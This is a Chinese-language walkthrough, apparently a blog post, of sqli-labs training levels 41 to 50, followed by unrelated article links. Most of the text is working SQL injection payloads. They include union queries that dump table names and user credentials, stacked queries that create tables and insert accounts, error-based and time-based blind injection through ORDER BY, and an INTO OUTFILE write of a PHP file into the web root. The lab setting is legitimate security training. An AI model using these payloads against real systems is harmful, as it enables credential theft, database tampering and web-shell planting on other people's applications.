sql-lib闯关41-50
第四十一关
这关和第三十九关一样,只是错误没有回显
获得版本和数据库名 ?id=0 union select 1,version(),database() %23
获得表名 ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
获得列名 ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23
获取用户名密码 ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
第四十二关
先打开网页查看 Welcome Dhakkan
Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
分析源码login.php可以知道:
- $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
- $password = $_POST["login_password"];
password并没有被过滤,我们可以利用password来注入,用户名随意填写,密码如下:
- a';create table swl like users#
虽然页面显示错误,看看数据库,发现我们已经创建进去了
第四十三关
和 42 类似 同样password 未过滤
login_user=1&login_password=a');create table less43 like users#&mysubmit=Login
但是数据库有了
第四十四关
同上42,只是没有回显信息
login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login
看数据库
第四十五关
和第四十三关一样,区别是没有回显
login_user=a&login_password=a'); insert into users(id,username,password) values(20,''c','c') --+&mysubmit=Log
数据库里也有了
第四十六关
终于迎来了一个过渡
这次的注入是通过order by 来进行的通过sort 查询
?sort=1试一下撒,哇,一下子用户名密码全出了了,咱们这不是不用努力了。。。那咱看看这关还能干啥
既然要用order by语句进行注入,那首先我们通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
为什么说他是order by注入 因为在源代码中是这样的 $sql = "SELECT * FROM users ORDER BY $id";
?sort=1+asc (正序)
?sort=1+desc (倒序)
我们首先想想我们应该怎样注入 ,我们呢来获取一下啊别的啥的东西版本数据库名啥的
order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
没有报错,right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入
?sort=right(version(),1) ?sort=left(version(),1) 效果是一样的
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。所以我们用rand来检查我们后面输入的是否对
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入
获取数据库名 ?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))
获取数据库的权限?sort=(select count(*) from information_schema.columns group by concat(0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
获得数据库版本 ?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
布尔盲注
盲注获取数据库第一个字的ascii码(其他的不再演示了)
正则表达式注入 ?sort=1 ^(select(select version()) regexp '^5')发现版本
第四十七关
和上一关一样,加个单引号就可以啦
获取数据库使用权限
?sort=1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
获得数据库版本 ?sort=1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
也可以程序分析参数后注入 ?sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
当然也可以时间盲注 ?sort=1' and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+
第四十八关
这关是盲注 order by 数字型盲注
布尔盲注 ?sort=rand(ascii(left(database(),1))=178)
时间盲注 ?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+
第四十九关
这关是盲注 order by 字符型盲注,和四十六关一样,只不过没有错误回显
在四十八关的基础上加上引号就行 ?sort=1' and If(ascii(substr(database(),1,1))=116,0,sleep(3))--+
这关还可以outfile进行写 ?sort=1 into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-49\\longshisan.php'
第五十关
这关我们就用堆叠注入 ?sort=1;create table test50 like users;%23
去数据库里看,发现有了
sql-lib闯关41-50的更多相关文章
- 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...
- python 闯关之路四(下)(并发编程与数据库编程) 并发编程重点
python 闯关之路四(下)(并发编程与数据库编程) 并发编程重点: 1 2 3 4 5 6 7 并发编程:线程.进程.队列.IO多路模型 操作系统工作原理介绍.线程.进程演化史.特点.区别 ...
- Sql server2005 优化查询速度50个方法小结
Sql server2005 优化查询速度50个方法小结 Sql server2005优化查询速度51法查询速度慢的原因很多,常见如下几种,大家可以参考下. I/O吞吐量小,形成了瓶颈效应. ...
- W3CSchool闯关笔记(Bootstrap)
该闯关内容与JS闯关衔接. 每一题的答案均在注释处, 第一关:把所有的HTML内容放在一个包含有container-fluid的class名称的div下(注意,是所有的HTML内容,style标签属于 ...
- 2018年全国多校算法寒假训练营练习比赛(第一场)J - 闯关的lulu
链接:https://www.nowcoder.com/acm/contest/67/J来源:牛客网 题目描述 勇者lulu某天进入了一个高度10,000,000层的闯关塔,在塔里每到一层楼,他都会获 ...
- sql-lib闯关1-10关
闯关之前我们需要搭建所需环境SQLi-Labs SQLi-Labs是一个专业的SQL注入练习平台,该平台包含了以下在测试场景中常见的注入类型: 1.报错注入(联合查询) 1)字符型 ...
- 网页闯关游戏(riddle webgame)--H5刮刮卡的原理和实践
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 对于刮刮卡, 想必大家都很熟悉, 也很喜 ...
- 网页闯关游戏(riddle webgame)--仿微信聊天的前端页面设计和难点
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. 本文讲描述, 如何在网页端实现一个仿微信 ...
- 网页闯关游戏(riddle webgame)--游戏玩法和整体介绍
前言: 记得上大学那会, 有位传说中的大牛, 写了一个网页闯关类的游戏. 当时我们玩得不亦乐乎, 也是第一次接触到这种形式的游戏. 不过当时纯玩家心态, 并没有想过去创造一个. 最近想起这事, 突然想 ...
- Pythonchallenge一起来闯关(二)
前情提要:Pythonchallenge一起来闯关(一) 这一篇来闯关10-15.感觉这几关比先前的难了不少,有的题目完全没思路. 10. 页面源码中的链接点击后有a = [1, 11, 21, 12 ...
随机推荐
- 【底层原理:深入理解计算机系统】#1 一切从"hello world"说起 (一)
计算机系统是由硬件和系统软件组成的,他们共同工作来运行应用程序.虽然系统的具体实现方式随着时间不断的在变化,但是系统的内在概念却没有改变的. 所有的计算机硬件和软件有着相似的结构和功能.这个系列专题便 ...
- git指令-撤销修改
git指令-撤销修改 如果在文件中添加了错误的内容,可以撤销修改 eg: 解决: 可以删掉最后一行,手动把文件恢复到上一个版本的状态: 使用git status 你可以发现,Git会告诉你,git c ...
- Java面试必问之Hashmap底层实现原理(JDK1.7)
1. 前言 Hashmap可以说是Java面试必问的,一般的面试题会问: Hashmap有哪些特性? Hashmap底层实现原理(get\put\resize) Hashmap怎么解决hash冲突? ...
- 从0开始学Git——Git的常用配置
配置user信息 配置user.name和user.email git config --global user.name 'admin' #设置用户名 git config --global use ...
- PHP网络爬虫实践:抓取百度搜索结果,并分析数据结构
百度的搜索引擎有反爬虫机制,我先直接用guzzle试试水.代码如下: <?php /** * Created by Benjiemin * Date: 2020/3/5 * Time: 14:5 ...
-  前端面试题目总结1
数据类型 js中的数据类型有两类:值类型和引用类型 值类型:number.string.boolean.Symbol.undefined 引用类型:null.数组.对象 使用typeof能用来干什么 ...
- python之路-基本数据类型之list列表
1.概述 列表是python的基本数据类型之一,是一个可变的数据类型,用[]方括号表示,每一项元素使用逗号隔开,可以装大量的数据 #先来看看list列表的源码写了什么,方法:按ctrl+鼠标左键点li ...
- VUE四 axios详解
axios的中文文档写的已经很详细 https://www.kancloud.cn/yunye/axios/234845
- Java 并发系列之一
Java 并发系列之一 简单的总结了一些 Java 常用的集合之后,发现许多集合都针对多线程提供了支持,比如 ConcurrentHashMap 使用分段锁来提高多线程环境下的性能表现与安全表现.所以 ...
- MySQL 整体架构一览
MySQL 在整体架构上分为 Server 层和存储引擎层.其中 Server 层,包括连接器.查询缓存.分析器.优化器.执行器等,存储过程.触发器.视图和内置函数都在这层实现.数据引擎层负责数据的存 ...